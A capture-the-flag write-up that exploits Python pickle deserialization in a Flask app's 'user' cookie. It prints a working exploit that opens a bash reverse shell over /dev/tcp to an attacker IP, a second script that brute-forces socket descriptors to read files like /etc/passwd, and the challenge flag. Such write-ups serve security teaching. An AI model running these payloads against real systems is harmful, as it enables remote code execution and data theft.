I'm Pickle Rick! (gold, 200p)

Albert is junior developer who started to build websites like 1 week ago.
Albert also likes to show off and brag about top notch security.
To prove Albert wrong You have to figure out how to exploit this application and retrieve source code from it.
Site can be accessed at: http://10.XX.32.142
"Good luck, this task will not be easy" - Albert.

solution

Website contains only a text output.

Hello Guest !

My name is Albert and I just got my first job as a developer.
My first project is this application that I coded in python and even included cool libraries like base64 and pickle. As well Im tracking some "user" cookies on server-side!

If You want to hire me for new flashy website please contact me: albert@albertslocalhost.com!
Free source code can be downloaded from /app/app.py (I'm still learning how to include links).

All this description leads to text-book Python's deserialization vulnerability with pickle. Where to provide serialized data is also mentioned, - in user cookie.

Create an exploit pwn-rev.py with reverse shell as payload. Reverse shell is used, because no data is outputted by exploiting this vulnerability.

import pickle, os, base64, requests

class P(object):
    def __reduce__(self):
        return (os.system,("bash -c 'bash -i >& /dev/tcp/10.XX.32.YYY/4444 0>&1'",))

payload = base64.b64encode(pickle.dumps(P())).decode('utf-8')
r = requests.get("http://10.XX.32.142", cookies={"user":payload})

Listen for reverse shell in one terminal and execute exploit in other terminal (python3 pwn-rev.py). When connection is received, read the /app/app.py file, which contains flag.

$ ncat -vlp 4444
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.XX.32.97.
Ncat: Connection from 10.XX.32.97:59990.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
www-data@b094208608f5:/app$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@b094208608f5:/app$ ls -al
ls -al
total 12
drwxr-xr-x 2 root root 4096 Nov  6  2020 .
drwxr-xr-x 1 root root 4096 Sep 29 12:47 ..
-rw-r--r-- 1 root root  859 Nov  6  2020 app.py
www-data@b094208608f5:/app$ cat app.py
cat app.py
import pickle
import base64
from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user'))
        user = pickle.loads(user)
        username = user["username"]
    except:
        username = "Guest"

    return "Hello %s !<br><br>My name is Albert and I just got my first job as a developer.<br>My first project is this application that I coded in python and even included cool libraries like base64 and pickle. As well Im tracking some \"user\" cookies on server-side!<br><br>If You want to hire me for new flashy website please contact me: albert@albertslocalhost.com!<br> Free source code can be downloaded from /app/app.py (I'm still learning how to include links)." % username

if __name__ == "__main__":
    app.run()

#Flag: 2b43c3edc21d40db9bc78ce9d11cf142

bonus

There is a way to return data, without reverse shell, but it is a bit elaborate.

Idea is to brute-force a file descriptor for socket over which the client/server communicating is happening and write data to it directly. In Unix-like OS a file descriptor is unique identifier for a file or other input/output resource, e.g. a network socket. They are non-negative integer values. First three are already "reserved", - 0 is used for stdin, 1 is used for stdout and 2 is used for stderr. Rest of them can be used for application needs. As this is a "server", the file descriptor 3 is most probably used for listening to port or socket, which accepts connections to it. Therefore, a file descriptor, starting from 4 could the one, which is used for client/server communication.

Create an exploit pwn-fd.py, which brute force the correct file descriptor and uses it to sends raw output. As an example this exploit reads the file (provided as argument to script) contents and returns it.

#!/usr/bin/env python3
import pickle, os, sys, base64, builtins, socket

if len(sys.argv) != 2:
    print('usage: {0} <file>'.format(sys.argv[0]))
    sys.exit(1)

for fd in range(4,50):
    code = "import socket;s=socket.fromfd(" + str(fd) + ", socket.AF_INET, socket.SOCK_STREAM);s.send(open('" + sys.argv[1] + "','rb').read())"

    class P(object):
        def __reduce__(self):
            return (builtins.exec,(code,))
    
    payload = base64.b64encode(pickle.dumps(P()))
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('10.XX.32.142', 80))
    s.send(b'GET / HTTP/1.0\r\nCookie: user=' + payload + b'\r\n\r\n')
    c = s.recv(4096)
    s.close()
    if c.startswith(b'HTTP/1.0 200 OK'):
        continue
    print('[fd found={0}]'.format(fd))
    sys.stdout.buffer.write(c)
    sys.stdout.flush()
    sys.exit(0)

Example run of pwn-fd.py, where the correct brute-forced file descriptor is 8.

# python3 pwn-fd.py /etc/passwd
[fd found=8]
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin